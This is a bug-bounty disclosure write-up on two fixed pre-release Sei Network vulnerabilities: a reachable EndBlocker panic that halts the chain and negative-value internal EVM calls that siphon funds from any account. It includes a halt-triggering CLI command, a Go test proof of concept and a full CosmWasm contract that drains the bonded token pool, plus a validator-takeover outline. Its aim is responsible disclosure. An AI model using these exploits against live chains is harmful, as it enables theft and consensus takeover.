Sei
In April 2024, I found and reported two critical bugs to Sei Network concerning their layer-1 blockchain. One of these issues impacted the chain’s availability, and the other its integrity. The Sei Foundation awarded me $75,000 and $2,000,000 respectively for these reports.
Both issues were caught after the code had been audited, merged, and slated for release but before it was shipped to production. As a result, no funds were put at risk. If it had made it to mainnet, the funds at risk from issue 2 would have been the entire Sei token market cap, or about $1B USD mark to market.
Issue 1
If exploited, the first issue would have caused the chain to halt.
The Sei Network is a “Cosmos chain”, meaning it leverages the Cosmos SDK for its blockchain application and uses a tendermint fork (well, actually, Sei’s own fork of a fork) for consensus. Cosmos applications operate on blocks, which contain transactions, which further contain individual messages. Each of these messages triggers a state transition. The Cosmos SDK is written in Go.
Cosmos uses go panics for error handling. Transaction runs out of gas? panic. Try to spend more coins than you have? panic. Invalid inputs? panic.
To handle this, transactions are run within a recovery loop called the RunTx recovery middleware. When Cosmos processes a block of transactions, the flow is kind of like this (heavily simplified).
func ProcessBlock(chainState State, curBlock Block) {
state.StartBlock(curBlock)
state.ProcessTxs(curBlock)
state.EndBlock(curBlock)
}
func (s State) StartBlock(curBlock Block) {
for module := s.GetModules() {
module.StartBlock(curBlock)
}
}
func (s State) ProcessTxs(curBlock Block) error {
defer func() {
if r := recover() {
return fmt.Errorf("borked")
}
}
// process tx, panics are ok in this function
}
func (s State) EndBlock(curBlock Block) {
for module := s.GetModules() {
module.EndBlock(curBlock)
}
}
There’s some preprocessing to set up a block, transactions are safely processed within a recovery loop, and then there is some work to do at the end of a block. Every Cosmos module can specify its own start and end processing hooks too. These hooks are one type of ABCI method. Unfortunately, by default, ABCI methods are not run in a recovery loop. Woops! If you panic there, the program will simply crash.
I first learned of this Cosmos footgun from Trail of Bits’ fantastic building-secure-contracts repo. ref: https://github.com/crytic/building-secure-contracts/tree/master/not-so-smart-contracts/cosmos/abci_panic
Sei had a panic in one of its ABCI EndBlockers, which would have reliably halted the chain if the code was reached. Remediation would have required a hard fork.
While looking through all of the ABCI hooks in the Sei codebase for reachable panics, one stood out to me: https://github.com/sei-protocol/sei-chain/blob/49eb8b3d205d4a73c5e2b2bb3a433f886279028b/x/evm/module.go#L232
coinbaseAddress := state.GetCoinbaseAddress(idx)
balance := am.keeper.BankKeeper().GetBalance(ctx, coinbaseAddress, denom)
weiBalance := am.keeper.BankKeeper().GetWeiBalance(ctx, coinbaseAddress)
if !balance.Amount.IsZero() || !weiBalance.IsZero() {
if err := am.keeper.BankKeeper().SendCoinsAndWei(ctx, coinbaseAddress, coinbase, balance.Amount, weiBalance); err != nil {
panic(err)
}
}
The above code, at the end of every block, goes through each transaction and tries to empty the “coinbase address” of any tokens. The way this is done is first the coinbase address’s balance is retrieved via a call to GetBalance and then this resulting balance is transferred out by a call to SendCoinsAndWei.
What the coinbase address represents in Sei doesn’t matter here. What’s important is that it is a deterministic address, calculable in advance. The address is calculated as a function of a tx’s index in a block. So the first tx in a block always has a “coinbase address” of sei1v4mx6hmrda5kucnpwdjsqqqqqqqqqqqqlve8dv, and so on.
The mistake here stems from the fact that cosmos chains have a notion of locked and unlocked balances. The GetBalance function called above returns the total of locked+unlocked funds. If, for example, the coinbase address has 42sei of locked funds and 1000sei of unlocked funds, the GetBalance call will report a total balance of 1042sei. However, because we can only transfer unlocked funds, the SendCoinsAndWei call will return an error if we call it with any number greater than 1000ei. When SendCoinsAndWei is called with an amount of 1042 sei, it will return an error and then we will reach the call to panic.
One way to end up with locked funds is via a vesting account. If, for example, I want to grant you one thousand tokens linearly over four years then I can create a vesting account and the unlocks are handled automatically by Cosmos. When creating a vesting account I can specify its address and any unused address will do. I don’t need the keys to it or anything.
Now we have all the pieces needed to reach an ABCI panic:
- Create a vesting account at the
sei1v4mx6hmrda5kucnpwdjsqqqqqqqqqqqqlve8dvaddress with some tokens. - Send an EVM tx to Sei to reach this code block.
To create the vesting account all we have to do is run a command like seid tx vesting create-vesting-account sei1v4mx6hmrda5kucnpwdjsqqqqqqqqqqqqlve8dv 1000000000000000usei 1800000000 --from my_account --fees 50000usei from the seid CLI tool.
Once this command is executed and the vulnerable code is run, the coinbase balance will be greater than zero but not entirely transferable. The call to GetBalance will return the sum of locked and unlocked tokens. Calling SendCoinsAndWei with this sum will return an error, and a panic will be triggered. The application will crash and the chain will halt.
To fix the issue, the call to GetBalance was simply replaced with a call to SpendableCoins. Easy! For safety, later on the panic was removed entirely.
Timeline:
- April 22, 2024: I create the report on Immunefi
- April 23, 2024: The Sei team merge a PR fixing the bug
- April 23, 2024: The Sei team confirm the report
- April 24, 2024: The Sei team send payment of $75,000
Issue 2
If exploited, the second issue would have allowed an attacker to freely transfer funds out of any account.
When browsing through the fix commit and subsequent changes made as a result of the previous issue, I noticed some interesting code at the junction of Sei’s Cosmos and Geth modules.
At this time the Sei team was just wrapping up their work on Sei V2. V2 introduced the EVM (Ethereum Virtual Machine) to Sei. Integrating the EVM into a system like Cosmos is a sensitive process. Neither of these systems were designed with the other’s compatibility in mind and trying to combine them is difficult. It’s easy to introduce subtle yet disastrous bugs to your blockchain when doing this.
In the fix PR for the previous issue, an unrelated bug was also patched in the evm account balance handling code. Looking at this file, I noticed that SubBalance and AddBalance had provisions for negative numbers:
func (s *DBImpl) SubBalance(evmAddr common.Address, amt *big.Int, reason tracing.BalanceChangeReason) {
s.k.PrepareReplayedAddr(s.ctx, evmAddr)
if amt.Sign() == 0 {
return
}
if amt.Sign() < 0 {
s.AddBalance(evmAddr, new(big.Int).Neg(amt), reason)
return
}
// ...
}
Subtracting -x Sei tokens from an account is just redirected to be the same as adding +x. Similarly, adding -x Sei tokens to an account is redirected to the code for subtracting +x.
That’s interesting. I wonder, how are balance transfers handled in the EVM anyways?
// Transfer subtracts amount from sender and adds amount to recipient using the given Db
func Transfer(db vm.StateDB, sender, recipient common.Address, amount *big.Int) {
db.SubBalance(sender, amount, tracing.BalanceChangeTransfer)
db.AddBalance(recipient, amount, tracing.BalanceChangeTransfer)
}
If one could slip a negative amount into Transfer, they could siphon Sei from an account rather than transferring Sei to an account.
What guards are there before we reach Transfer?
// CanTransfer checks whether there are enough funds in the address' account to make a transfer.
// This does not take the necessary gas in to account to make the transfer valid.
func CanTransfer(db vm.StateDB, addr common.Address, amount *big.Int) bool {
return db.GetBalance(addr).Cmp(amount) >= 0
}
Looks like an account can make transfers as long as it has more than the amount being transferred. Looks good so far. Say I want to steal 100sei; I’d need to send a transfer of -100sei. Well, even a 0sei balance is more than -100sei. So for negative amounts this check will always pass.
Of course, there may be even more checks prior to this. Or not. It’s a big codebase, I don’t know. Let’s just write the code and see what happens.
In SeiV2 there are three high level ways to trigger this EVM transfer code:
- From EVM space, use a
CALL,CREATEorSELFDESTRUCTopcode - Send a top level EVM Message packaged in a transaction
- From cosmwasm space, send an internal EVM message
If any of these routes allow transfers of negative value then we will be able to steal the entire unlocked balance from any account.
Right off the bat the first option will not work. The EVM uses 256 bit registers that we can set freely as opcode arguments but the state transition handling code for CALL and CREATE treat these as unsigned integers, so they are always positive. SELFDESTRUCT triggers transfers but doesn’t take a value argument.
The second option seems promising. We only need to construct a MsgEVMTransaction with negative value. However, Sei’s MsgEVMTransaction type uses the RLP encoding from Geth for the data field, which itself includes the value field. value is typed as a big int, which is a signed type and can be negative! Unfortunately there is no valid RLP encoding for a negative big int: when encoding, the sign information is discarded. When decoding, the output is always positive.
// WriteBigInt encodes a big.Int as an RLP string.
// Note: Unlike with Encode, the sign of i is ignored.
func (w EncoderBuffer) WriteBigInt(i *big.Int) {
w.buf.writeBigInt(i)
}
The third option uses yet another execution mode contained in Sei. Really Sei V2 has three modes of executing transactions:
- Cosmos messages
- cosmwasm
- EVM
Technically cosmwasm and EVM programs are both triggered by high level cosmos messages, but it’s worth considering them separately. Cosmos transactions contain messages that execute specific functions. For example a message might execute an action like “stake some coins” or “send some coins”. These functions are baked into the chain code and are not generally programmable by end users.
The community found this a bit limiting, so to add more flexibility cosmwasm was introduced to bring a web assembly environment to Cosmos. This enabled general-purpose smart contract programming by end users.
Finally, Sei V2 builds on both of these and adds a bespoke EVM environment to the mix. The way this is done is by linking to go-ethereum and adding hooks to connect the EVM state mutations to the underlying Cosmos system and storage.
So now in addition to the fixed functions that can be called by messages, we also have the ability to specify messages that “create a cosmwasm or EVM program” or “execute a cosmwasm or EVM program”. The cosmwasm (web assembly) module is well tested and widely used. Sei’s EVM integration is custom, only used by Sei, and brand new.
At the time of my report, a Cosmos message in Sei could bounce execution back and forth between these environments as much as it wants. One could, for example, send a transaction that contains a message to call a cosmwasm program, which then dispatches a cosmos message to send coins, receives its result and calls an EVM contract.
Calling an EVM smart contract from cosmwasm in SeiV2 is slightly different from making a top-level EVM call directly. To make a cosmwasm -> EVM call we use one of the following “internal” message types instead of MsgEVMTransaction.
type MsgInternalEVMCall struct {
Sender string
Value *github_com_cosmos_cosmos_sdk_types.Int
To string
Data []byte
}
type MsgInternalEVMDelegateCall struct {
Sender string
CodeHash []byte
To string
Data []byte
FromContract string
}
Remember, what we’re interested in is triggering a transfer with a negative amount or value (these terms are used interchangeably at times). Of these two internal call types, only MsgInternalEVMCall allows us to specify a value to go along with the call. And it’s a signed int!
To find out whether or not I could successfully use MsgInternalEVMCall to make a siphoning transfer I added the following test to Sei’s test suite and ran it.
func TestNegativeTransfer(t *testing.T) {
steal_amount := int64(1_000_000_000_000)
k := testkeeper.EVMTestApp.EvmKeeper
ctx := testkeeper.EVMTestApp.NewContext(false, tmtypes.Header{}).WithBlockHeight(2)
attackerAddr, attackerEvmAddr := testkeeper.MockAddressPair()
victimAddr, victimEvmAddr := testkeeper.MockAddressPair()
// associate addrs
k.SetAddressMapping(ctx, attackerAddr, attackerEvmAddr)
k.SetAddressMapping(ctx, victimAddr, victimEvmAddr)
// mint some funds to victim
amt := sdk.NewCoins(sdk.NewCoin(k.GetBaseDenom(ctx), sdk.NewInt(steal_amount)))
require.Nil(t, k.BankKeeper().MintCoins(ctx, types.ModuleName, sdk.NewCoins(sdk.NewCoin(k.GetBaseDenom(ctx), sdk.NewInt(steal_amount)))))
require.Nil(t, k.BankKeeper().SendCoinsFromModuleToAccount(ctx, types.ModuleName, victimAddr, amt))
// construct attack payload
val := sdk.NewInt(steal_amount).Mul(sdk.NewInt(steal_amount * -1))
req := &types.MsgInternalEVMCall{
Sender: attackerAddr.String(),
Data: []byte{},
Value: &val,
To: victimEvmAddr.Hex(),
}
// logging
preAttackerBal := testkeeper.EVMTestApp.BankKeeper.GetBalance(ctx, attackerAddr, k.GetBaseDenom(ctx)).Amount.Int64()
preVictimBal := testkeeper.EVMTestApp.BankKeeper.GetBalance(ctx, victimAddr, k.GetBaseDenom(ctx)).Amount.Int64()
t.Logf("\nPRE ATTACK\nAttacker Bal: %d\nVictim Bal: %d\n------\b", preAttackerBal, preVictimBal)
// EXECUTE ATTACK
_, err := k.HandleInternalEVMCall(ctx, req)
require.Nil(t, err)
// post logging
postAttackerBal := testkeeper.EVMTestApp.BankKeeper.GetBalance(ctx, attackerAddr, k.GetBaseDenom(ctx)).Amount.Int64()
postVictimBal := testkeeper.EVMTestApp.BankKeeper.GetBalance(ctx, victimAddr, k.GetBaseDenom(ctx)).Amount.Int64()
t.Logf("\nPOST ATTACK\nAttacker Bal: %d\nVictim Bal: %d\n------\b", postAttackerBal, postVictimBal)
}
The output was:
$ go test -v -timeout 30s -run "^TestNegativeTransfer$" github.com/sei-protocol/sei-chain/x/evm/keeper
=== RUN TestNegativeTransfer
evm_test.go:67:
PRE ATTACK
Attacker Bal: 0
Victim Bal: 1000000000000
------
evm_test.go:76:
POST ATTACK
Attacker Bal: 1000000000000
Victim Bal: 0
------
--- PASS: TestNegativeTransfer (0.00s)
PASS
ok github.com/sei-protocol/sei-chain/x/evm/keeper 0.215s
Sure enough, we can send an internal EVM call from an attacker account to a victim account with a negative value and siphon out that value from the victim’s balance.
At this point all funds on the chain are at risk. An attacker could freely steal Sei tokens from centralized exchanges, cold wallets, etc. Given that Sei is trading at around a $1 billion market cap with >$100M of daily volume between derivatives and spot, there is a lot of profit opportunity here.
But for fun, we can take this bug even further.
Cosmos chains operate on proof of stake consensus. For Sei, this means that the 50 validators with the most stake are responsible for producing and verifying new blocks on the chain. All 50 validators’ stakes are held in one account called the “bonded token pool”.
An attacker can become the #1 most powerful validator on the chain by simply stealing the balance of the bonded token pool, and staking that sum again themselves. When they do this the tokens are returned to the same account they stole them from. If you create 50 accounts, and do this 50 times, you will own all of the top 50 validators and control the chain. Because the active validator set is recalculated at the end of every block in an ABCI method, this whole attack can be done in one block.
Under the tendermint consensus system, anyone with >2/3rds stake can arbitrarily choose what blocks are canonical on the chain. At this point the chain is considered compromised and needs to be hard forked from before the attack. Some things the attacker can do include:
- Censor anyone’s transactions. If someone tried to use this same exploit to steal coins back from the attacker, their transactions can be ignored and will never land in a block.
- Commit invalid state transitions. The attacker can use their 2/3rds stake to attest to whatever blocks they want, including ones with arbitrary information and proofs in the block header.
- Double spend coins.
While the token theft mechanism is perfectly valid according to the chain’s code, certain types of faults like committing invalid blocks will be rejected by honest full nodes. These nodes will simply stop advancing their local chain in the face of a safety fault. But other attacks, like transaction censoring, are not detectable.
Light clients that only check validator proofs, like those used in IBC, will accept any of the attacker blocks.
Timeline:
- April 23, 2024: I create the report on Immunefi
- April 24, 2024: The Sei team merge a PR fixing the bug
- April 24, 2024: The Sei team confirm the report
- May 22, 2024: The Sei team send payment of $2,000,000
I’d like to thank the Sei Foundation for their commendable efforts in securing the Sei protocol. It is only due to their thoroughness in designing Sei’s security strategy that these bugs were able to be caught before the vulnerable code was deployed to mainnet. The issues described here are subtle and persisted through Sei’s internal code review and several external audits. However Sei has gone above and beyond, putting a large amount of resources towards setting up a public bug bounty program in their pursuit of defense in depth. In rapidly addressing and honestly rewarding these reports, the Sei Foundation has demonstrated their absolute commitment to protecting their users.
Appendix
Particularly attentive readers might notice that the test I added to confirm issue 2 is not actually an end to end proof of concept.
In the test I constructed a MsgInternalEVMCall directly. But in a real attack scenario we would have to create a cosmwasm contract compiled to webassembly, populate this struct from there, serialize it to JSON, and send it as a submessage from cosmwasm back to the main cosmos application which would construct the MsgInternalEVMCall for us.
These two scenarios are not identical. The JSON->Msg encoder and handler functions are both custom written by the Sei team and were skipped in my test. It is reasonable to wonder whether or not there they contain additional guards that might prevent the attack but were skipped in the test I made.
When submitting my report to Sei I was very confident that there were no such guards, as I had read all of the code many times at that point and knew it inside and out. But eventually I wanted to test stealing tokens from the bonded validator pool to take over the validator set. I ended up making a proper end to end proof of concept because I wasn’t sure whether or not the bonded token pool had any special status as an account, potentially with some sort of lock on its tokens, and wanted to test this.
The following cosmwasm contract exploits the bug and drains the bonded token pool.
#[cfg(not(feature = "library"))]
use cosmwasm_std::entry_point;
use cosmwasm_std::{
BalanceResponse, BankQuery, CosmosMsg, DepsMut, Env, Int256, MessageInfo, Reply, Response, StdError, StdResult, SubMsg, CustomMsg
};
use cw_storage_plus::Item;
use crate::msg::InstantiateMsg;
use cosmwasm_schema::cw_serde;
use serde::{Deserialize, Serialize};
use schemars::JsonSchema;
#[cfg_attr(not(feature = "library"), entry_point)]
pub fn instantiate(
_deps: DepsMut,
_env: Env,
_info: MessageInfo,
_msg: InstantiateMsg,
) -> Result<Response, StdError> {
Ok(Response::default())
}
#[cfg_attr(not(feature = "library"), entry_point)]
pub fn execute(
deps: DepsMut,
_env: Env,
_info: MessageInfo,
msg: ExecuteMsg,
) -> Result<Response<EvmMsg>, StdError> {
match msg {
ExecuteMsg::Attack{} => {
let uswei_to_swei_multiplier: Int256 = 1000000000000i64.into();
let bal_q = BankQuery::Balance {
// sdk.AccAddress(tmcrypto.AddressHash([]byte("bonded_tokens_pool")) -> sei1fl48vsnmsdzcv85q5d2q4z5ajdha8yu3chcelk
address: "sei1fl48vsnmsdzcv85q5d2q4z5ajdha8yu3chcelk".into(),
denom: "usei".into()
};
let res: BalanceResponse = deps.querier.query(&bal_q.into())?;
let bonded_account_balance = res.amount.amount;
// common.BytesToAddress(sei1fl48vsnmsdzcv85q5d2q4z5ajdha8yu3chcelk) -> 0x4feA76427B8345861e80A3540a8a9D936FD39391
let bonded_token_addr = "0x4feA76427B8345861e80A3540a8a9D936FD39391";
let steal_amt_abs = Int256::from(bonded_account_balance) * uswei_to_swei_multiplier;
let steal_amt = steal_amt_abs * Int256::from(-1);
let steal_msg = EvmMsg::CallEvm {
to: bonded_token_addr.into(),
data: "".into(),
value: steal_amt
};
let steal_item: Item<Int256> = Item::new("steal_amount");
steal_item.save(deps.storage, &steal_amt_abs)?;
let steal_msg:CosmosMsg<EvmMsg> = CosmosMsg::Custom(steal_msg);
let steal_msg = SubMsg::reply_always(steal_msg, 1337);
let resp = Response::new();
let resp = resp.add_submessage(steal_msg);
Ok(resp)
}
}
}
#[cfg_attr(not(feature = "library"), entry_point)]
pub fn reply(deps: DepsMut, _env: Env, _msg: Reply) -> StdResult<Response<EvmMsg>> {
let steal_item: Item<Int256> = Item::new("steal_amount");
let transfer_amount = steal_item.load(deps.storage)?;
let attacker_evm_addr = "0xC399a700B09aEeb7d6b9E6374eEA5dd0639Cb52C";
let fwd_msg = EvmMsg::CallEvm {
to: attacker_evm_addr.into(),
data: "".into(),
value: transfer_amount,
};
let fwd_msg:CosmosMsg<EvmMsg> = CosmosMsg::Custom(fwd_msg);
Ok(Response::new().add_message(fwd_msg))
}
#[cw_serde]
pub enum ExecuteMsg {
Attack {}
}
// implement custom query
impl CustomMsg for EvmMsg {}
// this is a helper to be able to return these as CosmosMsg easier
impl From<EvmMsg> for CosmosMsg<EvmMsg> {
fn from(original: EvmMsg) -> Self {
CosmosMsg::Custom(original)
}
}
#[derive(Serialize, Deserialize, Clone, Debug, PartialEq, JsonSchema)]
#[serde(rename_all = "snake_case")]
pub enum EvmMsg {
CallEvm {
to: String,
data: String, // base64 encoded
value: Int256,
},
}